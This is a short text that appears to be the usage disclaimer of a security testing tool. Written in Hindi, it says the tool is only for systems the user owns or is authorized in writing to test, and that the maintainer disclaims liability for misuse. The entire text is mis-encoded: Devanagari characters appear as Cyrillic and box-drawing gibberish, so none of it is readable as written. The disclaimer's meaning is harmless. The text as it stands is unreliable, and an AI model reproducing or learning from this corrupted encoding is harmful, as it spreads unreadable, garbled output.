рдЗрд╕ рдЯреВрд▓ рдХреЛ рдХрд┐рд╕реА рднреА рдРрд╕реА рдкреНрд░рдгрд╛рд▓реА рдХреЗ рд╡рд┐рд░реБрджреНрдз рди рдЪрд▓рд╛рдПрдВ рдЬрд┐рд╕рдХреЗ рдЖрдк рд╕реНрд╡рд╛рдореА рдирд╣реАрдВ рд╣реИрдВ рдпрд╛ рдЬрд┐рд╕рдХреЗ рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЗ рдкрд╛рд╕ рд╕реНрдкрд╖реНрдЯ рд▓рд┐рдЦрд┐рдд рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдирд╣реАрдВ рд╣реИред рддреГрддреАрдп-рдкрдХреНрд╖ рдЗрдиреНрдлреНрд░рд╛рд╕реНрдЯреНрд░рдХреНрдЪрд░ рдХреЗ рд╡рд┐рд░реБрджреНрдз рдЕрдирдзрд┐рдХреГрдд рдЙрдкрдпреЛрдЧ рдЕрд╡реИрдз рд╣реИ рдФрд░ рдЗрд╕ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХреЗ рдЗрдЪреНрдЫрд┐рдд рдЙрджреНрджреЗрд╢реНрдп рд╕реЗ рдмрд╛рд╣рд░ рд╣реИред рдЕрдиреБрдЪрд┐рдд рдЙрдкрдпреЛрдЧ рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░рдХреНрд╖рдХ рдХреЛрдИ рджрд╛рдпрд┐рддреНрд╡ рдирд╣реАрдВ рдорд╛рдирддрд╛ред